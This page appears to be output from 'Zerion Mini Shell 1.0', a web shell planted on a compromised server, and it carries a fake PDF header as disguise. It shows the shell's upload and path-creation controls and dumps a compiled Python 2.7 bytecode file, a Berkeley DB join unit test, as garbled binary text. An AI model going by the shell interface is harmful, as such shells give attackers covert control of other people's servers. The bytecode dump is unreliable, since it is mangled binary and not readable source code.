%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/local/lib/python2.7/bsddb/test/
Upload File :
Create Path :
Current File : //usr/local/lib/python2.7/bsddb/test/test_join.pyc

ó
Oêáac@s¥dZddlZddlZddlmZmZmZmZmZm	Z	ddddddgZ
dddddd d!gZdejfd„ƒYZ
d„ZdS("s@TestCases for using the DB.join and DBCursor.join_item methods.
iÿÿÿÿN(tdbtdbshelvettest_supporttverbosetget_new_environment_pathtget_new_database_pathtapplesConvenience Storet	blueberrysFarmer's MarkettshotgunsS-Marttpeartchainsawt
strawberrytbluetredtyellowtpeachtblacktJoinTestCasecBs)eZdZd„Zd„Zd„ZRS(tcCsY|jjd|_tƒ|_tjƒ|_|jj|jtj	tj
BtjBƒdS(Ns.db(t	__class__t__name__tfilenameRthomeDirRtDBEnvtenvtopent	DB_CREATEt
DB_INIT_MPOOLtDB_INIT_LOCK(tself((s0/usr/local/lib/python2.7/bsddb/test/test_join.pytsetUp#scCs!|jjƒtj|jƒdS(N(RtcloseRtrmtreeR(R((s0/usr/local/lib/python2.7/bsddb/test/test_join.pyttearDown)s
cCsßtr%dGddGHd|jjGHntj|jƒ}|j|jdtjtj	ƒt
|d„tƒtj|jƒ}|jtj
tjBƒ|j|jdtjtj	ƒt
|d„tƒd}d}zÍ|jƒ}|jd	ƒ}|j|ƒ|j|gƒ}|jd
ƒdkr2|jd
ƒn|jƒdkrT|jdƒn|jd
ƒd
dkr}|jdƒn|jd
ƒrœ|jdƒnWd|r³|jƒn|rÆ|jƒn|jƒ|jƒXdS(Ns
s-=isRunning %s.test01_join...tprimarycSs
|j|ŒS(N(tput(tttpriDB((s0/usr/local/lib/python2.7/bsddb/test/test_join.pyt<lambda>6Rt	secondarycSs
|j|ŒS(N(R#(R$tsecDB((s0/usr/local/lib/python2.7/bsddb/test/test_join.pyR&<RR
iRsConvenience Storesjoin cursor positioned wrongR
s&DBCursor.join_item returned wrong itemRs join cursor returned wrong things#join cursor returned too many items(RsConvenience Store(RRRRtDBRRRtDB_BTREERtmaptProductIndext	set_flagstDB_DUPt
DB_DUPSORTt
ColorIndextNonetcursortsett
assertTruetjointgettfailt	join_itemR(RR%R(tsCursortjCursorttmp((s0/usr/local/lib/python2.7/bsddb/test/test_join.pyttest01_join-s@




(Rt
__module__tkeytypeRR!R<(((s0/usr/local/lib/python2.7/bsddb/test/test_join.pyR s		cCs&tjƒ}|jtjtƒƒ|S(N(tunittestt	TestSuitetaddTestt	makeSuiteR(tsuite((s0/usr/local/lib/python2.7/bsddb/test/test_join.pyt
test_suite^s(RsConvenience Store(RsFarmer's Market(RsS-Mart(R	sFarmer's Market(R
sS-Mart(RsFarmer's Market(RR(R
R(R
R
(R
R(RR(RR	(RR(t__doc__tosR?ttest_allRRRRRRR,R0tTestCaseRRD(((s0/usr/local/lib/python2.7/bsddb/test/test_join.pyt<module>s$.		>

Zerion Mini Shell 1.0